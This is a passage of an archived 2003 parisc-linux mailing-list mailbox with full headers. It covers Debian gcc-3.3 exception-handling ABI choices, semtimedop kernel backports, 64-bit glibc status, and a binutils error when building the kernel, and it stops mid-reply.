Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18529

On Wed, May 21, 2003 at 01:42:53AM +0200, Matthias Klose wrote:
> For Debian GNU/Linux gcc-3.3 is currently configured with
> 
> 	--with-sjlj-exceptions
> 
> to allow a binary compatible upgrade from gcc-3.2 to gcc-3.3. The
> other Debian platform, where sjlj based exceptions changed to dwarf2
> based exceptions is m68k, therefore the CC.

*sigh*.  I'm very conflicted over this.  On one hand, Debian is the de-facto
standard for PA-RISC/Linux binaries.  If another distro cares about
binary compatibility, they should follow Debian.

On the other hand, dwarf exceptions are clearly superior to sjlj.
We've never _released_ a distro compiled with 3.2 so we can break the
binary ABI without major repurcussions.

I'm not sure it's my call to make; I can see arguments on both sides.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 configuration
Date: 21 May 2003 00:26:10 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <1053473168.31455.21.camel__2559.40726860917$1416622471$gmane$org@dhcp22.swansea.linux.org.uk>
References: <16074.48509.259405.775905@gargle.gargle.HOWL>
	 <20030521000854.GN31518@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622471 25919 80.91.229.3 (22 Nov 2014 02:14:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:31 +0000 (UTC)
Cc: Matthias Klose <doko@cs.tu-berlin.de>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, m68k-build@nocrew.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 20 18:24:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC7FF482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 May 2003 18:24:33 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h4KNQIRQ031932;
	Wed, 21 May 2003 00:26:18 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h4KNQE0f031930;
	Wed, 21 May 2003 00:26:14 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20030521000854.GN31518@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18530

On Mer, 2003-05-21 at 01:08, Matthew Wilcox wrote:
> I'm not sure it's my call to make; I can see arguments on both sides.

Thats at least one of the reasons. Reputation capital is a wonderous
thing. Accept reality, you are the Linus of parisc Linux like it or not
8)



From - Thu Nov 08 21:27:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 configuration
Date: Tue, 20 May 2003 21:02:27 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200305210102.h4L12S7U007116__37876.7002760016$1416622471$gmane$org@hiauly1.hia.nrc.ca>
References: <1053473168.31455.21.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622471 25921 80.91.229.3 (22 Nov 2014 02:14:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:31 +0000 (UTC)
Cc: willy@debian.org, doko@cs.tu-berlin.de,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, m68k-build@nocrew.org
To: alan@lxorguk.ukuu.org.uk (Alan Cox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 20 19:02:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DF86482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 May 2003 19:02:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4L12SgL007117;
	Tue, 20 May 2003 21:02:29 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4L12S7U007116;
	Tue, 20 May 2003 21:02:28 -0400 (EDT)
In-Reply-To: <1053473168.31455.21.camel@dhcp22.swansea.linux.org.uk> from "Alan Cox" at May 21, 2003 00:26:10 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18531

> On Mer, 2003-05-21 at 01:08, Matthew Wilcox wrote:
> > I'm not sure it's my call to make; I can see arguments on both sides.
> 
> Thats at least one of the reasons. Reputation capital is a wonderous
> thing. Accept reality, you are the Linus of parisc Linux like it or not
> 8)

I agree.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4 and semtimedop - need kernel compat?
Date: Tue, 20 May 2003 22:09:08 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20030521020908.GE10485@systemhalted>
References: <3EC76210000009D0@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622472 25924 80.91.229.3 (22 Nov 2014 02:14:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:32 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 20 20:08:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep02-mail.bloor.is.net.cable.rogers.com (fep02-mail.bloor.is.net.cable.rogers.com [66.185.86.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2D92482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 May 2003 20:08:11 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.174])
          by fep02-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030521020758.UKJT4557.fep02-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Tue, 20 May 2003 22:07:58 -0400
Content-Disposition: inline
In-Reply-To: <3EC76210000009D0@ocpmta8.freegates.net>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (12% Sync Ratio [=.........])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep02-mail.bloor.is.net.cable.rogers.com from [24.112.227.174] using ID <patofiero@rogers.com> at Tue, 20 May 2003 22:07:58 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18532

> In the very last Andrea's patch 2.4.21rc2aa1.bz2, I read that Andrea already
> back port this stuff :)
> 
> At a first glance, the job is also applied for hppa. Would you like that
> I have a look to see if it is applicable with your patch in p-l cvs tree?

Seeing as how our glibc 2.3.2 is highly unstable and non-functional, it
won't help very much :(

It should be easy enough to connect our syscall to semtimedop when the
code is backported.

c.



From - Thu Nov 08 21:27:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building glibc (static) with 64 bits toolchain
Date: Tue, 20 May 2003 23:07:33 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20030521030733.GH10485@systemhalted>
References: <20030520215541.GA11860@hamilton.tteng.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622472 25926 80.91.229.3 (22 Nov 2014 02:14:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Hamilton Coutinho <hamilton@tteng.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 20 21:06:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep03-mail.bloor.is.net.cable.rogers.com (fep03-mail.bloor.is.net.cable.rogers.com [66.185.86.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id E954F482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 May 2003 21:06:32 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.174])
          by fep03-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030521030618.BCAR7344.fep03-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Tue, 20 May 2003 23:06:18 -0400
Content-Disposition: inline
In-Reply-To: <20030520215541.GA11860@hamilton.tteng.com.br>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (12% Sync Ratio [=.........])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep03-mail.bloor.is.net.cable.rogers.com from [24.112.227.174] using ID <patofiero@rogers.com> at Tue, 20 May 2003 23:06:18 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18533

> From the archive, I read that Carlos O'Donell is working on this very
> subject with promising results. So I setup to build a full blown glibc.
> After tinkering with it a little I realized that sysdeps/hppa/hppa64
> directory was missing. I couldn't find it anywhere (tried glibc cvs,
> parisc cvs, debian). Could you help me with directions to where to find
> it?

I'd love to see those promising results :) I have a hard enough time
working on a 32-bit userspace. There is no 64-bit port that works. I
have some bits of code, but to tell you the truth it just isn't a
priority. Other things, like a working 32-bit glibc rank higher...
sorry.

If you would like to start by testing our 64-bit toolchain, please build
a 64-bit cross system (hppa -> hppa64) and get back to the list with
your results :)

c.


From - Thu Nov 08 21:27:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 configuration
Date: Tue, 20 May 2003 22:23:51 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20030521052351.GV548__29873.0145827451$1416622472$gmane$org@tausq.org>
References: <16074.48509.259405.775905@gargle.gargle.HOWL>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622472 25932 80.91.229.3 (22 Nov 2014 02:14:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	m68k-build@nocrew.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 20 23:20:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E2C7483C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 May 2003 23:20:02 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0CA66CD2F8; Tue, 20 May 2003 22:23:52 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <16074.48509.259405.775905@gargle.gargle.HOWL>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18534

> If yes, does the following approach work: Build a libstdc++5-3.3,
> conflicting with libstdc++5 (including libstdc++ with the same soname)
> and doing binary uploads for hppa for all libstdc++5 dependent
> packages? (The same could be done for m68k, but the compatibility
> argument doesn't hold as Debian seems to be the only m68k based
> distro).

Aside from the evilness of doing binNMUs of this magnitude, I doubt a
"transition" that doesn't change the SONAME will work. As soon as the
new libstdc++ is installed, every c++ app on the box will instantly
break. This means if anything happens e.g. to apt during the update, the
system will get into a very nasty state. I don't think this is worth it.

If we need to change the SONAME, then there's no binary compatibility
anyway...

As willy mentioned in his other email, if other distros want binary
compatibility, they should follow what Debian is doing (on hppa), since
Debian was there first :-)

my 2 cents,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4 and semtimedop - need kernel compat?
Date: Wed, 21 May 2003 08:30:59 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <3EC76170000016C4@ocpmta1.freegates.net>
References: <20030521020908.GE10485@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622473 25934 80.91.229.3 (22 Nov 2014 02:14:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:33 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 21 00:31:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (unknown [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DEF64839
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 May 2003 00:31:03 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19IN7e-000260-00; Wed, 21 May 2003 08:30:46 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 21 May 2003 08:30:59 +0200
In-Reply-To: <20030521020908.GE10485@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18535

>
>> In the very last Andrea's patch 2.4.21rc2aa1.bz2, I read that Andrea already
>> back port this stuff :)
>> 
>> At a first glance, the job is also applied for hppa. Would you like that
>> I have a look to see if it is applicable with your patch in p-l cvs tree?
>
>Seeing as how our glibc 2.3.2 is highly unstable and non-functional, it
>won't help very much :(
>
>It should be easy enough to connect our syscall to semtimedop when the
>code is backported.
>
Ok

J.

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] last binutils-2.14.90.0.2-0.1[was-2.14.90.0.1] failled to build kernel
Date: Wed, 21 May 2003 14:23:31 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3EC7617000001BB5@ocpmta1.freegates.net>
References: <3EC39DA000000769@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622473 25937 80.91.229.3 (22 Nov 2014 02:14:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 21 06:23:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (unknown [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E7A94829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 May 2003 06:23:33 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19IScn-0000EN-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 May 2003 14:23:17 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 21 May 2003 14:23:31 +0200
In-Reply-To: <3EC39DA000000769@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18536

Hi All,
>
>I am now runing a kernel 2.4.20-pa35 + lkcd bruno's patch with gcc-3.2.
>
>In the mean time I made a distupgrade which mainly update binutils from
2.13.90.0.18-1.7
>to 2.14.90.0.1-0.1 which make now failed the rebuild of the kernel:
>[...]
Still failed with binutils_2.14.90.0.2-0.1 :((

gcc -D__ASSEMBLY__ -traditional -D__KERNEL__ -I/usr/src/work/linux-2.4.21-rc2-pa35/include
 -c -o real2.o real2.S
real2.S: Assembler messages:
real2.S:126: Error: too many positional arguments
make[1]: *** [real2.o] Error 1

J.

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] last binutils-2.14.90.0.2-0.1[was-2.14.90.0.1] failled to build kernel
Date: Wed, 21 May 2003 09:25:20 -0400 (EDT)
Lines: 53
Approved: news@gmane.org
Message-ID: <200305211325.h4LDPLmV015249@hiauly1.hia.nrc.ca>
References: <3EC7617000001BB5@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622473 25940 80.91.229.3 (22 Nov 2014 02:14:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 21 07:25:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DEE2482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 May 2003 07:25:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4LDPLgL015250;
	Wed, 21 May 2003 09:25:22 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4LDPLmV015249;
	Wed, 21 May 2003 09:25:21 -0400 (EDT)
In-Reply-To: <3EC7617000001BB5@ocpmta1.freegates.net> from "Joel Soete" at May 21, 2003 02:23:31 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18537

> >I am now runing a kernel 2.4.20-pa35 + lkcd bruno's patch with gcc-3.2.
> >
> >In the mean time I made a distupgrade which mainly update binutils from
> 2.13.90.0.18-1.7
> >to 2.14.90.0.1-0.1 which make now failed the rebuild of the kernel:
> >[...]
> Still failed with binutils_2.14.90.0.2-0.1 :((
> 
> gcc -D__ASSEMBLY__ -traditional -D__KERNEL__ -I/usr/src/work/linux-2.4.21-rc2-pa35/include
>  -c -o real2.o real2.S
> real2.S: Assembler messages:
> real2.S:126: Error: too many positional arguments
> make[1]: *** [real2.o] Error 1

This probably is due to these changes:

2003-04-23  H.J. Lu <hjl@gnu.org>

